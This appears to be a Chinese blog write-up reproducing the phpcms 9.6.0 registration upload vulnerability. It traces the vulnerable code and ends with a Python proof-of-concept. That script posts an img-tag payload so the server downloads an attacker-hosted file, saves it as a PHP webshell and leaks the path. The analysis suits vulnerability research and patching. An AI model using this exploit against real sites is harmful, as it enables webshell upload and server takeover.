[漏洞复现]phpcms9.6.0上传漏洞

phpcms/modules/member/index.php中的register函数
启用动态调试发现函数走到如下位置

if($member_setting['choosemodel']) {
                require_once CACHE_MODEL_PATH.'member_input.class.php';
                require_once CACHE_MODEL_PATH.'member_update.class.php';
                $member_input = new member_input($userinfo['modelid']);     
                $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
                $user_model_info = $member_input->get($_POST['info']);                                      
            }

payload在$_POST['info'],跟进
在使用new_html_special_chars对<>进行编码之后,进入$member_input->get函数,该函数位于
/caches/caches_model/caches_data/member_input.class.php
走到

if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

后,由于payload是info[content],所以调用的是editor函数

    function editor($field, $value) {
        $setting = string2array($this->fields[$field]['setting']);
        $enablesaveimage = $setting['enablesaveimage'];
        $site_setting = string2array($this->site_config['setting']);
        $watermark_enable = intval($site_setting['watermark_enable']);
        $value = $this->attachment->download('content', $value,$watermark_enable);
        return $value;
    }

函数执行$this->attachment->download函数进行下载,跟进
在phpcms/libs/classes/attachement.class.php中

/**
     * 附件下载
     * Enter description here ...
     * @param $field 预留字段
     * @param $value 传入下载内容
     * @param $watermark 是否加入水印
     * @param $ext 下载扩展名
     * @param $absurl 绝对路径
     * @param $basehref 
     */
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
    {
        global $image_d;
        $this->att_db = pc_base::load_model('attachment_model');
        $upload_url = pc_base::load_config('system','upload_url');
        $this->field = $field;
        $dir = date('Y/md/');
        $uploadpath = $upload_url.$dir;
        $uploaddir = $this->upload_root.$dir;
        $string = new_stripslashes($value);
        if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
        $remotefileurls = array();
        foreach($matches[3] as $matche)
        {
            if(strpos($matche, '://') === false) continue;
            dir_create($uploaddir);
            $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
        }
        unset($matches, $string);
        $remotefileurls = array_unique($remotefileurls);
        $oldpath = $newpath = array();
        foreach($remotefileurls as $k=>$file) {
            if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
            $filename = fileext($file);
            $file_name = basename($file);
            $filename = $this->getname($filename);

            $newfile = $uploaddir.$filename;
            $upload_func = $this->upload_func;
            if($upload_func($file, $newfile)) {
                $oldpath[] = $k;
                $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
                @chmod($newfile, 0777);
                $fileext = fileext($filename);
                if($watermark){
                    watermark($newfile, $newfile,$this->siteid);
                }
                $filepath = $dir.$filename;
                $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
                $aid = $this->add($downloadedfile);
                $this->downloadedfiles[$aid] = $filepath;
            }
        }
        return str_replace($oldpath, $newpath, $value);
    }   

函数中先对$value中的引号进行转义,然后用正则匹配

$ext = 'gif|jpg|jpeg|bmp|png';
...
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

这里正则要求满足src/href=url.(gif|jpg|jpeg|bmp|png),构造payload(<img src=http://url/shell.txt?php#.jpg>)
符合这一格式
程序会用$remotefileurls[$matche] = $this->fillurl($matche,$absurl,$basehref);来处理url中的锚点
之后#.jpg会被删除因此后缀变成了php。继续执行后调用copy函数下载。

获取shell途径的方法:
程序下载后回到了register函数中

if(pc_base::load_config('system', 'phpsso')) {
    $this->_init_phpsso();
    $status = $this->client->ps_member_register($userinfo['username'], $userinfo['password'], $userinfo['email'], $userinfo['regip'], $userinfo['encrypt']);
    if($status > 0) {
        $userinfo['phpssouid'] = $status;
        //传入phpsso为明文密码,加密后存入phpcms_v9
        $password = $userinfo['password'];
        $userinfo['password'] = password($userinfo['password'], $userinfo['encrypt']);
        $userid = $this->db->insert($userinfo, 1);
        if($member_setting['choosemodel']) {    //如果开启选择模型
            $user_model_info['userid'] = $userid;
            //插入会员模型数据
            $this->db->set_model($userinfo['modelid']);
            $this->db->insert($user_model_info);
        }
当$status >0时会执行insert操作。具体执行的语句为
Insert into `phpcmsv9`.`v9_member_detail` (`content`,`userid`) values
('&lt;img src=http://127.0.0.1/uploadfile/2017/0412/20170412052234801.php&gt;','2')

而该表没有content列,因此会产生报错返回shell路径
若$status<0
phpcms/modules/member/classes/client.class.php

    /**
     * 用户注册
     * @param string $username  用户名
     * @param string $password  密码
     * @param string $email     email
     * @param string $regip     注册ip
     * @param string $random    密码随机数
     * @return int {-1:用户名已经存在 ;-2:email已存在;-3:email格式错误;-4:用户名禁止注册;-5:邮箱禁止注册;int(uid):成功}
     */
    public function ps_member_register($username, $password, $email, $regip='', $random='') {
        if(!$this->_is_email($email)) {
            return -3;
        }
         
        return $this->_ps_send('register', array('username'=>$username, 'password'=>$password, 'email'=>$email, 'regip'=>$regip, 'random'=>$random));
    }

可见用户名邮箱尽量随机
phpsso没有配置好时 $status为空,同样不能得到路径

function getname($fileext){
    return data('Ymdhis').rand(100,999).'.'.$fileext;
}

时间加上三位随机数,很好爆破

176}LQABW)2)MYD_B$UL6)D.png

简化版poc

import re
import requests

url = 'http://192.168.42.133/phpcms/install_package'
def poc(url):
    u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
    data = {
        'siteid': '1',
        'modelid': '1',
        'username': 'test',
        'password': 'testxx',
        'email': 'test@test.com',
        'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
        'dosubmit': '1',
    }
    rep = requests.post(u, data=data)

    shell = ''
    re_result = re.findall(r'&lt;img src=(.*)&gt', rep.content)
    if len(re_result):
        shell = re_result[0]
        print shell
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 220,492评论 6 513
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,048评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 166,927评论 0 358
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,293评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,309评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,024评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,638评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,546评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,073评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,188评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,321评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,998评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,678评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,186评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,303评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,663评论 3 375
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,330评论 2 358

推荐阅读更多精彩内容

  • 自己做dede的开发时间也比较长了,基本上常用的函数都知道在哪个文件里面,但是时间一长,也有点模糊了,俗话说:好记...
    大刘的英语世界阅读 1,696评论 1 9
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,680评论 18 139
  • 转载自cr180大神DiscuzX2.5完整目录结构【source程序文件库】 /source/admincp后台...
    cndaqiang阅读 858评论 1 2
  • 青春期中的女生心中总会存在那么一位男生,算是自己心中的白马王子吧。我想和大家分享一下我青春里的那个他,暂且不论他现...
    荔枝桂圆阅读 292评论 0 0
  • 上个星期的某一天,不知什么时候,发觉到嗓子干、痒、且有轻微刺痛感,我预感到自己要感冒,或者说预感到我的类感冒症状将...
    琴瑟沉香阅读 136评论 0 0